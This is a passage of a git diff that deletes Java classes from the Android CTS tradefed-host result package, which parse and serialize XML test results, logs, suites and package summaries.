-    private void parseTestLog(XmlPullParser parser) throws XmlPullParserException{
-        TestLog log = TestLog.fromXml(parser);
-        if (log == null) {
-            throw new XmlPullParserException("invalid XML: bad test log tag");
-        }
-        addTestLog(log);
-    }
-
-    /** Add a TestLog to the test in a thread safe manner. */
-    private synchronized void addTestLogLocked(TestLog testLog) {
-        if (mTestLogs == null) {
-            mTestLogs = new ArrayList<>(TestLogType.values().length);
-        }
-        mTestLogs.add(testLog);
-    }
-
-    /** Serialize the TestLogs of this test in a thread safe manner. */
-    private synchronized void serializeTestLogsLocked(KXmlSerializer serializer) throws IOException {
-        if (mTestLogs != null) {
-            for (TestLog log : mTestLogs) {
-                log.serialize(serializer);
-            }
-        }
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestCase.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/TestCase.java
deleted file mode 100644
index fdb8b3b..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestCase.java
+++ /dev/null
@@ -1,164 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.util.ArrayUtil;
-
-import org.kxml2.io.KXmlSerializer;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.IOException;
-import java.util.Collection;
-import java.util.Deque;
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-/**
- * Data structure that represents a "TestCase" XML element and its children.
- */
-class TestCase extends AbstractXmlPullParser {
-
-    static final String TAG = "TestCase";
-
-    private String mName;
-
-    Map<String, Test> mChildTestMap = new LinkedHashMap<String, Test>();
-
-    /**
-     * Create a {@link TestCase}
-     * @param testCaseName
-     */
-    public TestCase(String testCaseName) {
-        setName(testCaseName);
-    }
-
-    public TestCase() {
-    }
-
-    public void setName(String name) {
-        mName = name;
-    }
-
-    public String getName() {
-        return mName;
-    }
-
-    /**
-     * Gets the child tests
-     */
-    public Collection<Test> getTests() {
-        return mChildTestMap.values();
-    }
-
-    /**
-     * @param testName
-     * @param insertIfMissing
-     * @return
-     */
-    public Test findTest(String testName, boolean insertIfMissing) {
-        Test t = mChildTestMap.get(testName);
-        if (t == null && insertIfMissing) {
-            t = new Test(testName);
-            mChildTestMap.put(t.getName(), t);
-        }
-        return t;
-    }
-
-    /**
-     * Serialize this object and all its contents to XML.
-     *
-     * @param serializer
-     * @throws IOException
-     */
-    public void serialize(KXmlSerializer serializer) throws IOException {
-        serializer.startTag(CtsXmlResultReporter.ns, TAG);
-        serializer.attribute(CtsXmlResultReporter.ns, "name", getName());
-        // unused
-        serializer.attribute(CtsXmlResultReporter.ns, "priority", "");
-        for (Test t : mChildTestMap.values()) {
-            t.serialize(serializer);
-        }
-       serializer.endTag(CtsXmlResultReporter.ns, TAG);
-    }
-
-    /**
-     * Populates this class with test case result data parsed from XML.
-     *
-     * @param parser the {@link XmlPullParser}. Expected to be pointing at start
-     *            of a TestCase tag
-     */
-    @Override
-    void parse(XmlPullParser parser) throws XmlPullParserException, IOException {
-        if (!parser.getName().equals(TAG)) {
-            throw new XmlPullParserException(String.format(
-                    "invalid XML: Expected %s tag but received %s", TAG, parser.getName()));
-        }
-        setName(getAttribute(parser, "name"));
-        int eventType = parser.next();
-        while (eventType != XmlPullParser.END_DOCUMENT) {
-            if (eventType == XmlPullParser.START_TAG && parser.getName().equals(Test.TAG)) {
-                Test test = new Test();
-                test.parse(parser);
-                mChildTestMap.put(test.getName(), test);
-            } else if (eventType == XmlPullParser.END_TAG && parser.getName().equals(TAG)) {
-                return;
-            }
-            eventType = parser.next();
-        }
-    }
-
-    /**
-     * Adds tests contained in this result that have the given <var>resultFilter</var>.
-     *
-     * @param tests the {@link Collection} of {@link TestIdentifier}s to add to
-     * @param parentSuiteNames a {@link Deque} of parent suite names. Used to
-     *            construct the full class name of the test
-     * @param resultFilter the {@link CtsTestStatus} to filter by
-     */
-    void addTestsWithStatus(Collection<TestIdentifier> tests, Deque<String> parentSuiteNames,
-            CtsTestStatus resultFilter) {
-        if (getName() != null) {
-            parentSuiteNames.addLast(getName());
-        }
-        String fullClassName = ArrayUtil.join(".", parentSuiteNames);
-        for (Test test : mChildTestMap.values()) {
-            if (resultFilter.equals(test.getResult())) {
-                tests.add(new TestIdentifier(fullClassName, test.getName()));
-            }
-        }
-        if (getName() != null) {
-            parentSuiteNames.removeLast();
-        }
-    }
-
-    /**
-     * Count the number of tests in this {@link TestCase} with given status.
-     *
-     * @param status
-     * @return the test count
-     */
-    public int countTests(CtsTestStatus status) {
-        int total = 0;
-        for (Test test : mChildTestMap.values()) {
-            if (test.getResult().equals(status)) {
-                total++;
-            }
-        }
-        return total;
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestLog.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/TestLog.java
deleted file mode 100644
index 1210432..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestLog.java
+++ /dev/null
@@ -1,148 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import org.kxml2.io.KXmlSerializer;
-import org.xmlpull.v1.XmlPullParser;
-
-import java.io.IOException;
-
-import javax.annotation.Nullable;
-
-/**
- * TestLog describes a log for a test. It corresponds to the "TestLog" XML element.
- */
-class TestLog {
-
-    private static final String TAG = "TestLog";
-    private static final String TYPE_ATTR = "type";
-    private static final String URL_ATTR = "url";
-
-    /** Type of log. */
-    public enum TestLogType {
-        LOGCAT("logcat-"),
-        BUGREPORT("bug-"),
-
-        ;
-
-        // This enum restricts the type of logs reported back to the server,
-        // because we do not intend to support them all. Using an enum somewhat
-        // assures that we will only see these expected types on the server side.
-
-        /**
-         * Returns the TestLogType from an ILogSaver data name or null
-         * if the data name is not supported.
-         */
-        @Nullable
-        static TestLogType fromDataName(String dataName) {
-            if (dataName == null) {
-                return null;
-            }
-
-            for (TestLogType type : values()) {
-                if (dataName.startsWith(type.dataNamePrefix)) {
-                    return type;
-                }
-            }
-            return null;
-        }
-
-        private final String dataNamePrefix;
-
-        private TestLogType(String dataNamePrefix) {
-            this.dataNamePrefix = dataNamePrefix;
-        }
-
-        String getAttrValue() {
-            return name().toLowerCase();
-        }
-    }
-
-    /** Type of the log like LOGCAT or BUGREPORT. */
-    private final TestLogType mLogType;
-
-    /** Url pointing to the log file. */
-    private final String mUrl;
-
-    /** Create a TestLog from an ILogSaver callback. */
-    @Nullable
-    static TestLog fromDataName(String dataName, String url) {
-        TestLogType logType = TestLogType.fromDataName(dataName);
-        if (logType == null) {
-            return null;
-        }
-
-        if (url == null) {
-            return null;
-        }
-
-        return new TestLog(logType, url);
-    }
-
-    /** Create a TestLog from XML given a XmlPullParser positioned at the TestLog tag. */
-    @Nullable
-    static TestLog fromXml(XmlPullParser parser) {
-        String type = parser.getAttributeValue(null, TYPE_ATTR);
-        if (type == null) {
-            return null;
-        }
-
-        String url = parser.getAttributeValue(null, URL_ATTR);
-        if (url == null) {
-            return null;
-        }
-
-        try {
-            TestLogType logType = TestLogType.valueOf(type.toUpperCase());
-            return new TestLog(logType, url);
-        } catch (IllegalArgumentException e) {
-            return null;
-        }
-    }
-
-    /** Create a TestLog directly given a log type and url. */
-    public static TestLog of(TestLogType logType, String url) {
-        return new TestLog(logType, url);
-    }
-
-    private TestLog(TestLogType logType, String url) {
-        this.mLogType = logType;
-        this.mUrl = url;
-    }
-
-    /** Returns this TestLog's log type. */
-    TestLogType getLogType() {
-        return mLogType;
-    }
-
-    /** Returns this TestLog's URL. */
-    String getUrl() {
-        return mUrl;
-    }
-
-    /** Serialize the TestLog to XML. */
-    public void serialize(KXmlSerializer serializer) throws IOException {
-        serializer.startTag(CtsXmlResultReporter.ns, TAG);
-        serializer.attribute(CtsXmlResultReporter.ns, TYPE_ATTR, mLogType.getAttrValue());
-        serializer.attribute(CtsXmlResultReporter.ns, URL_ATTR, mUrl);
-        serializer.endTag(CtsXmlResultReporter.ns, TAG);
-    }
-
-    /** Returns true if the tag is a TestLog tag. */
-    public static boolean isTag(String tagName) {
-        return TAG.equals(tagName);
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestPackageResult.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/TestPackageResult.java
deleted file mode 100644
index 60d8408..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestPackageResult.java
+++ /dev/null
@@ -1,315 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.compatibility.common.util.MetricsStore;
-import com.android.compatibility.common.util.ReportLog;
-import com.android.cts.tradefed.testtype.CtsTest;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import org.kxml2.io.KXmlSerializer;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.IOException;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.Deque;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Data structure for a CTS test package result.
- * <p/>
- * Provides methods to serialize to XML.
- */
-class TestPackageResult extends AbstractXmlPullParser {
-
-    static final String TAG = "TestPackage";
-
-    public static final String RESULT_KEY = "COMPATIBILITY_TEST_RESULT";
-
-    private static final String DIGEST_ATTR = "digest";
-    private static final String APP_PACKAGE_NAME_ATTR = "appPackageName";
-    private static final String NAME_ATTR = "name";
-    private static final String ABI_ATTR = "abi";
-    private static final String ns = CtsXmlResultReporter.ns;
-    private static final String SIGNATURE_TEST_PKG = "android.tests.sigtest";
-
-    private String mDeviceSerial;
-    private String mAppPackageName;
-    private String mName;
-    private String mAbi;
-    private String mDigest;
-
-    private Map<String, String> mMetrics = new HashMap<String, String>();
-    private Map<TestIdentifier, Map<String, String>> mTestMetrics = new HashMap<TestIdentifier, Map<String, String>>();
-
-    private TestSuite mSuiteRoot = new TestSuite(null);
-
-    public void setDeviceSerial(String deviceSerial) {
-        mDeviceSerial = deviceSerial;
-    }
-
-    public String getDeviceSerial() {
-        return mDeviceSerial;
-    }
-
-    public String getId() {
-        return AbiUtils.createId(getAbi(), getAppPackageName());
-    }
-
-    public void setAppPackageName(String appPackageName) {
-        mAppPackageName = appPackageName;
-    }
-
-    public String getAppPackageName() {
-        return mAppPackageName;
-    }
-
-    public void setName(String name) {
-        mName = name;
-    }
-
-    public String getName() {
-        return mName;
-    }
-
-    public void setAbi(String abi) {
-        mAbi = abi;
-    }
-
-    public String getAbi() {
-        return mAbi;
-    }
-
-    public void setDigest(String digest) {
-        mDigest = digest;
-    }
-
-    public String getDigest() {
-        return mDigest;
-    }
-
-    /**
-     * Return the {@link TestSuite}s
-     */
-    public Collection<TestSuite> getTestSuites() {
-        return mSuiteRoot.getTestSuites();
-    }
-
-    /**
-     * Adds a test result to this test package
-     *
-     * @param testId
-     */
-    public Test insertTest(TestIdentifier testId) {
-        return findTest(testId, true);
-    }
-
-    private Test findTest(TestIdentifier testId, boolean insertIfMissing) {
-        List<String> classNameSegments = new LinkedList<String>();
-        Collections.addAll(classNameSegments, testId.getClassName().split("\\."));
-        if (classNameSegments.size() <= 0) {
-            CLog.e("Unrecognized package name format for test class '%s'",
-                    testId.getClassName());
-            // should never happen
-            classNameSegments.add("UnknownTestClass");
-        }
-        String testCaseName = classNameSegments.remove(classNameSegments.size() - 1);
-        return mSuiteRoot.findTest(classNameSegments, testCaseName, testId.getTestName(), insertIfMissing);
-    }
-
-
-    /**
-     * Find the test result for given {@link TestIdentifier}.
-     * @param testId
-     * @return the {@link Test} or <code>null</code>
-     */
-    public Test findTest(TestIdentifier testId) {
-        return findTest(testId, false);
-    }
-
-    /**
-     * Serialize this object and all its contents to XML.
-     *
-     * @param serializer
-     * @throws IOException
-     */
-    public void serialize(KXmlSerializer serializer) throws IOException {
-        serializer.startTag(ns, TAG);
-        serializeAttribute(serializer, NAME_ATTR, mName);
-        serializeAttribute(serializer, APP_PACKAGE_NAME_ATTR, mAppPackageName);
-        serializeAttribute(serializer, ABI_ATTR, mAbi);
-        serializeAttribute(serializer, DIGEST_ATTR, getDigest());
-        if (SIGNATURE_TEST_PKG.equals(mName)) {
-            serializer.attribute(ns, "signatureCheck", "true");
-        }
-        mSuiteRoot.serialize(serializer);
-        serializer.endTag(ns, TAG);
-    }
-
-    /**
-     * Helper method to serialize attributes.
-     * Can handle null values. Useful for cases where test package has not been fully populated
-     * such as when unit testing.
-     *
-     * @param attrName
-     * @param attrValue
-     * @throws IOException
-     */
-    private void serializeAttribute(KXmlSerializer serializer, String attrName, String attrValue)
-            throws IOException {
-        attrValue = attrValue == null ? "" : attrValue;
-        serializer.attribute(ns, attrName, attrValue);
-    }
-
-    /**
-     * Populates this class with package result data parsed from XML.
-     *
-     * @param parser the {@link XmlPullParser}. Expected to be pointing at start
-     *            of TestPackage tag
-     */
-    @Override
-    void parse(XmlPullParser parser) throws XmlPullParserException, IOException {
-        if (!parser.getName().equals(TAG)) {
-            throw new XmlPullParserException(String.format(
-                    "invalid XML: Expected %s tag but received %s", TAG, parser.getName()));
-        }
-        setAppPackageName(getAttribute(parser, APP_PACKAGE_NAME_ATTR));
-        setName(getAttribute(parser, NAME_ATTR));
-        setAbi(getAttribute(parser, ABI_ATTR));
-        setDigest(getAttribute(parser, DIGEST_ATTR));
-        int eventType = parser.getEventType();
-        while (eventType != XmlPullParser.END_DOCUMENT) {
-            if (eventType == XmlPullParser.START_TAG && parser.getName().equals(TestSuite.TAG)) {
-                TestSuite suite = new TestSuite();
-                suite.parse(parser);
-                mSuiteRoot.insertSuite(suite);
-            }
-            if (eventType == XmlPullParser.END_TAG && parser.getName().equals(TAG)) {
-                return;
-            }
-            eventType = parser.next();
-        }
-    }
-
-    /**
-     * Return a list of {@link TestIdentifier}s contained in this result with the given status
-     *
-     * @param resultFilter the {@link CtsTestStatus} to filter by
-     * @return a collection of {@link TestIdentifier}s
-     */
-    public Collection<TestIdentifier> getTestsWithStatus(CtsTestStatus resultFilter) {
-        Collection<TestIdentifier> tests = new LinkedList<TestIdentifier>();
-        Deque<String> suiteNames = new LinkedList<String>();
-        mSuiteRoot.addTestsWithStatus(tests, suiteNames, resultFilter);
-        return tests;
-    }
-
-    /**
-     * Populate values in this package result from run metrics
-     * @param metrics A map of metrics from the completed test run.
-     */
-    public void populateMetrics(Map<String, String> metrics) {
-        String name = metrics.get(CtsTest.PACKAGE_NAME_METRIC);
-        if (name != null) {
-            setName(name);
-        }
-        String abi = metrics.get(CtsTest.PACKAGE_ABI_METRIC);
-        if (abi != null) {
-            setAbi(abi);
-        }
-        String digest = metrics.get(CtsTest.PACKAGE_DIGEST_METRIC);
-        if (digest != null) {
-            setDigest(digest);
-        }
-        mMetrics.putAll(metrics);
-
-        // Collect performance results
-        for (TestIdentifier test : mTestMetrics.keySet()) {
-            // device test can have performance results in test metrics
-            String perfResult = mTestMetrics.get(test).get(RESULT_KEY);
-            ReportLog report = null;
-            if (perfResult != null) {
-                try {
-                    report = ReportLog.parse(perfResult);
-                } catch (XmlPullParserException | IOException e) {
-                    e.printStackTrace();
-                }
-            }
-            Test result = findTest(test);
-            if (report != null && !result.getResult().equals(CtsTestStatus.FAIL)) {
-                result.setResultStatus(CtsTestStatus.PASS);
-                result.setReportLog(report);
-            }
-        }
-    }
-
-    /**
-     * Report the given test as a failure.
-     *
-     * @param test
-     * @param status
-     * @param trace
-     */
-    public void reportTestFailure(TestIdentifier test, CtsTestStatus status, String trace) {
-        Test result = findTest(test);
-        result.setResultStatus(status);
-        result.setStackTrace(trace);
-    }
-
-    /**
-     * Report that the given test has completed.
-     *
-     * @param test The {@link TestIdentifier} of the completed test.
-     * @param testMetrics A map holding metrics about the completed test, if any.
-     */
-    public void reportTestEnded(TestIdentifier test, Map<String, String> testMetrics) {
-        Test result = findTest(test);
-        if (!result.getResult().equals(CtsTestStatus.FAIL)) {
-            result.setResultStatus(CtsTestStatus.PASS);
-        }
-        result.updateEndTime();
-        if (mTestMetrics.containsKey(test)) {
-            CLog.e("Test metrics already contains key: " + test);
-        }
-        mTestMetrics.put(test, testMetrics);
-        CLog.i("Test metrics:" + testMetrics);
-    }
-
-    /**
-     * Return the number of tests with given status
-     *
-     * @param status
-     * @return the total number of tests with given status
-     */
-    public int countTests(CtsTestStatus status) {
-        return mSuiteRoot.countTests(status);
-    }
-
-    /**
-     * @return A map holding the metrics from the test run.
-     */
-    public Map<String, String> getMetrics() {
-        return mMetrics;
-    }
-
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestResultRepo.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/TestResultRepo.java
deleted file mode 100644
index fd42892..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestResultRepo.java
+++ /dev/null
@@ -1,145 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileFilter;
-import java.io.FileNotFoundException;
-import java.io.FileReader;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.Comparator;
-import java.util.List;
-
-/**
- * An implementation of {@link ITestResultsRepo}.
- */
-public class TestResultRepo implements ITestResultRepo {
-
-    /**
-     * ordered list of result directories. the index of each file is its session id.
-     */
-    private List<File> mResultDirs;
-
-    /**
-     * Create a {@link TestResultRepo} from a directory of results
-     *
-     * @param testResultsDir the parent directory of results
-     */
-    public TestResultRepo(File testResultsDir) {
-        mResultDirs = new ArrayList<File>();
-        File[] resultArray = testResultsDir.listFiles(new ResultDirFilter());
-        if (resultArray != null) {
-            List<File> resultList = new ArrayList<File>();
-            Collections.addAll(resultList, resultArray);
-            Collections.sort(resultList, new FileComparator());
-            for (int i=0; i < resultList.size(); i++) {
-                File resultFile = new File(resultList.get(i),
-                        CtsXmlResultReporter.TEST_RESULT_FILE_NAME);
-                if (resultFile.exists()) {
-                    mResultDirs.add(resultList.get(i));
-                }
-            }
-        }
-    }
-
-    @Override
-    public File getReportDir(int sessionId) {
-        return mResultDirs.get(sessionId);
-    }
-
-    private ITestSummary parseSummary(int id, File resultDir) {
-        TestSummaryXml result = new TestSummaryXml(id, resultDir.getName());
-        try {
-            result.parse(new BufferedReader(new FileReader(new File(resultDir,
-                    CtsXmlResultReporter.TEST_RESULT_FILE_NAME))));
-            return result;
-        } catch (ParseException e) {
-            CLog.e(e);
-        } catch (FileNotFoundException e) {
-            // should never happen, since we check for file existence above. Barf the stack trace
-            CLog.e(e);
-        }
-        return result;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public List<ITestSummary> getSummaries() {
-        // parsing the summary data should be relatively quick, so just parse it every time
-        // rather than caching it
-        List<ITestSummary> summaries = new ArrayList<ITestSummary>(mResultDirs.size());
-        for (int i = 0; i < mResultDirs.size(); i++) {
-            summaries.add(parseSummary(i, mResultDirs.get(i)));
-        }
-        return summaries;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public TestResults getResult(int sessionId) {
-        // TODO: consider caching the results in future
-        if (mResultDirs.size() <= sessionId) {
-            CLog.e("Session id %d does not exist", sessionId);
-            return null;
-        }
-        try {
-            TestResults results = new TestResults();
-            File resultFile = new File(mResultDirs.get(sessionId),
-                    CtsXmlResultReporter.TEST_RESULT_FILE_NAME);
-            results.parse(new BufferedReader(new FileReader(resultFile)));
-            return results;
-        } catch (FileNotFoundException e) {
-            CLog.e("Could not find result file for session %d", sessionId);
-        } catch (ParseException e) {
-            CLog.e("Failed to parse result file for session %d", sessionId);
-        }
-        return null;
-    }
-
-    private class ResultDirFilter implements FileFilter {
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public boolean accept(File file) {
-            return file.isDirectory();
-        }
-    }
-
-    /**
-     * A {@link Comparator} that compares {@link File}s by name.
-     */
-    private class FileComparator implements Comparator<File> {
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public int compare(File file0, File file1) {
-            return file0.getName().compareTo(file1.getName());
-        }
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestResults.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/TestResults.java
deleted file mode 100644
index a3f1591..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestResults.java
+++ /dev/null
@@ -1,208 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.tradefed.build.CtsBuildProvider;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import org.kxml2.io.KXmlSerializer;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.IOException;
-import java.net.InetAddress;
-import java.net.UnknownHostException;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.Comparator;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Data structure for the detailed CTS test results.
- * <p/>
- * Can deserialize results for test packages from XML
- */
-class TestResults extends AbstractXmlPullParser {
-
-    private static final String ns = CtsXmlResultReporter.ns;
-
-    // XML constants
-    static final String SUMMARY_TAG = "Summary";
-    static final String PASS_ATTR = "pass";
-    static final String TIMEOUT_ATTR = "timeout";
-    static final String NOT_EXECUTED_ATTR = "notExecuted";
-    static final String FAILED_ATTR = "failed";
-
-    private Map<String, TestPackageResult> mPackageResults =
-            new LinkedHashMap<String, TestPackageResult>();
-    private DeviceInfoResult mDeviceInfo = new DeviceInfoResult();
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    void parse(XmlPullParser parser) throws XmlPullParserException, IOException {
-        int eventType = parser.getEventType();
-        while (eventType != XmlPullParser.END_DOCUMENT) {
-            if (eventType == XmlPullParser.START_TAG && parser.getName().equals(
-                    DeviceInfoResult.TAG)) {
-                mDeviceInfo.parse(parser);
-            }
-            if (eventType == XmlPullParser.START_TAG && parser.getName().equals(
-                    TestPackageResult.TAG)) {
-                TestPackageResult pkg = new TestPackageResult();
-                pkg.parse(parser);
-                if (pkg.getId() != null) {
-                    mPackageResults.put(pkg.getId(), pkg);
-                } else {
-                    CLog.w("Found package with no id");
-                }
-            }
-            eventType = parser.next();
-        }
-    }
-
-    /**
-     * @return the list of {@link TestPackageResult}.
-     */
-    public Collection<TestPackageResult> getPackages() {
-        return mPackageResults.values();
-    }
-
-    /**
-     * Count the number of tests with given status
-     * @param status
-     */
-    public int countTests(CtsTestStatus status) {
-        int total = 0;
-        for (TestPackageResult result : mPackageResults.values()) {
-            total += result.countTests(status);
-        }
-        return total;
-    }
-
-    /**
-     * Serialize the test results to XML.
-     *
-     * @param serializer
-     * @throws IOException
-     */
-    public void serialize(KXmlSerializer serializer, String buildId) throws IOException {
-        mDeviceInfo.serialize(serializer);
-        serializeHostInfo(serializer, buildId);
-        serializeTestSummary(serializer);
-        // sort before serializing
-        List<TestPackageResult> pkgs = new ArrayList<TestPackageResult>(mPackageResults.values());
-        Collections.sort(pkgs, new PkgComparator());
-        for (TestPackageResult r : pkgs) {
-            r.serialize(serializer);
-        }
-    }
-
-    /**
-     * Output the host info XML.
-     *
-     * @param serializer
-     */
-    private void serializeHostInfo(KXmlSerializer serializer, String buildId) throws IOException {
-        serializer.startTag(ns, "HostInfo");
-
-        String hostName = "";
-        try {
-            hostName = InetAddress.getLocalHost().getHostName();
-        } catch (UnknownHostException ignored) {}
-        serializer.attribute(ns, "name", hostName);
-
-        serializer.startTag(ns, "Os");
-        serializer.attribute(ns, "name", System.getProperty("os.name"));
-        serializer.attribute(ns, "version", System.getProperty("os.version"));
-        serializer.attribute(ns, "arch", System.getProperty("os.arch"));
-        serializer.endTag(ns, "Os");
-
-        serializer.startTag(ns, "Java");
-        serializer.attribute(ns, "name", System.getProperty("java.vendor"));
-        serializer.attribute(ns, "version", System.getProperty("java.version"));
-        serializer.endTag(ns, "Java");
-
-        serializer.startTag(ns, "Cts");
-        serializer.attribute(ns, "version", CtsBuildProvider.CTS_BUILD_VERSION);
-        serializer.attribute(ns, "build", buildId);
-        // TODO: consider outputting other tradefed options here
-        serializer.startTag(ns, "IntValue");
-        serializer.attribute(ns, "name", "testStatusTimeoutMs");
-        // TODO: create a constant variable for testStatusTimeoutMs value. Currently it cannot be
-        // changed
-        serializer.attribute(ns, "value", "600000");
-        serializer.endTag(ns, "IntValue");
-        serializer.endTag(ns, "Cts");
-
-        serializer.endTag(ns, "HostInfo");
-    }
-
-    /**
-     * Output the test summary XML containing summary totals for all tests.
-     *
-     * @param serializer
-     * @throws IOException
-     */
-    private void serializeTestSummary(KXmlSerializer serializer) throws IOException {
-        serializer.startTag(ns, SUMMARY_TAG);
-        serializer.attribute(ns, FAILED_ATTR, Integer.toString(countTests(CtsTestStatus.FAIL)));
-        serializer.attribute(ns, NOT_EXECUTED_ATTR,
-                Integer.toString(countTests(CtsTestStatus.NOT_EXECUTED)));
-        // ignore timeouts - these are reported as errors
-        serializer.attribute(ns, TIMEOUT_ATTR, "0");
-        serializer.attribute(ns, PASS_ATTR, Integer.toString(countTests(CtsTestStatus.PASS)));
-        serializer.endTag(ns, SUMMARY_TAG);
-    }
-
-    private static class PkgComparator implements Comparator<TestPackageResult> {
-
-        @Override
-        public int compare(TestPackageResult lhs, TestPackageResult rhs) {
-            return lhs.getId().compareTo(rhs.getId());
-        }
-    }
-
-    /**
-     * Return existing package with given id. If not found, create a new one.
-     * @param id
-     * @return
-     */
-    public TestPackageResult getOrCreatePackage(String id) {
-        TestPackageResult pkgResult = mPackageResults.get(id);
-        if (pkgResult == null) {
-            pkgResult = new TestPackageResult();
-            String[] abiAndName = AbiUtils.parseId(id);
-            pkgResult.setAbi(abiAndName[0]);
-            pkgResult.setAppPackageName(abiAndName[1]);
-            mPackageResults.put(id, pkgResult);
-        }
-        return pkgResult;
-    }
-
-    /**
-     * Populate the results with collected device info metrics.
-     * @param runMetrics
-     */
-    public void populateDeviceInfoMetrics(Map<String, String> runMetrics) {
-        mDeviceInfo.populateMetrics(runMetrics);
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestSuite.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/TestSuite.java
deleted file mode 100644
index ca287ca..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestSuite.java
+++ /dev/null
@@ -1,240 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import com.android.ddmlib.testrunner.TestIdentifier;
-
-import org.kxml2.io.KXmlSerializer;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.IOException;
-import java.util.Collection;
-import java.util.Deque;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Data structure that represents a "TestSuite" XML element and its children.
- */
